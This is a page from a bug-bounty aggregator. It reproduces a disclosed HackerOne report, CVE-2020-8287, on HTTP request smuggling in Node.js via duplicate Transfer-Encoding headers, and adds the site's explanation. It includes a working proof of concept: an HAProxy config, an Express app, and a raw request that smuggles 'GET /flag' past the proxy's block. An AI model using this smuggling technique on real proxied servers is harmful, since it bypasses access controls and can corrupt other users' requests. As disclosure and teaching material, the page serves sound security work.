Skip to content
Smuggling / CRLF Disclosed report Advanced CVE-2020-8287

Potential HTTP Request Smuggling in nodejs

Node.js accepts duplicate Transfer-Encoding headers and uses only the first, while a front-end proxy may use the last, potentially enabling a TE-TE request smuggling attack that could bypass proxy access controls in some setups.

piao Follow

Originally disclosed on HackerOne

Bounty$250 Low View original
  • Triaged in 26 hours
  • Fixed in 3 months
  • Paid in 4 months
  • Disclosed after 3 months

Summary: Potential HTTP Request Smuggling exists in nodejs. Attacker can use two same header field make TE-TE HTTP Request Smuggling attack.

Description: nodejs allow same header field in a http request. for example, we can send two Transfer-Encoding header field, even if one of them is false header field. But nodejs only identify the first header field and ignore the after. This lead to a Potential HTTP Request Smuggling.

Steps To Reproduce:

for example, using haproxy to make TE-TE attack:

haproxy 1.5.3 version haproxy.cfg haproxy.cfg forbid access /flag URI

global
 daemon
 maxconn 256

defaults
 mode http
 timeout connect 5000ms
 timeout client 50000ms
 timeout server 50000ms

frontend http-in
 bind *:80
 default_backend servers
 acl url_403 path_beg -i /flag
 http-request deny if url_403

backend servers
 server server1 127.0.0.1:8080 maxconn 32

app.js

var express = require('express');
var app = express();
var bodyParser = require('body-parser')

app.use(bodyParser())

app.get('/', function (req, res) {
    res.send('Hello World!');
});

app.get('/flag', function (req, res) {
    res.send('flag is 1a2b3c4d5e6f');
});

app.post('/', function (req, res) {
    res.send('Hello World!');
});

app.listen(8080, function () {
    console.log('Example app listening on port 8080!');
});

use this http request can bypass haproxy /flag restrict

POST / HTTP/1.1
Host: 127.0.0.1
Transfer-Encoding: chunked
Transfer-Encoding: chunked-false

1
A
0

GET /flag HTTP/1.1
Host: 127.0.0.1
foo: x


Impact:

It is possible to smuggle the request and disrupt the user experience.

Supporting Material/References:

N/A

Impact

It is possible to smuggle the request and disrupt the user experience.

The original report as published on HackerOne, by piao. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the Node.js HTTP parser does not reject or normalise duplicate Transfer-Encoding headers, so it processes only the first while a front-end proxy may process the last.

Impact

It is possible to smuggle the request and disrupt the user experience, and in the demonstrated setup bypass the proxy's access restriction to /flag.

What the attacker needed

Node.js behind a proxy like HAProxy; Proxy and backend disagree on duplicate headers

How it was found

  1. Set up HAProxy to block requests to /flag.
  2. Run a Node.js Express app behind HAProxy that serves /flag.
  3. Send a POST request with two Transfer-Encoding headers, the first chunked and the second chunked-false.
  4. Include a smuggled GET /flag request in the body.
  5. Observe that the smuggled request bypasses HAProxy's /flag restriction.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a web request passes through a proxy and a backend server, both must agree on where one request ends and the next begins. If they disagree because of duplicate headers, an attacker can sneak a second request past the proxy's checks. This is called request smuggling.

What is Smuggling / CRLF?

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.

More by piao

View all

4 more disclosed reports, best first.

More from Node.js

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Request smuggling and header injection

The lesson behind this report.

A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.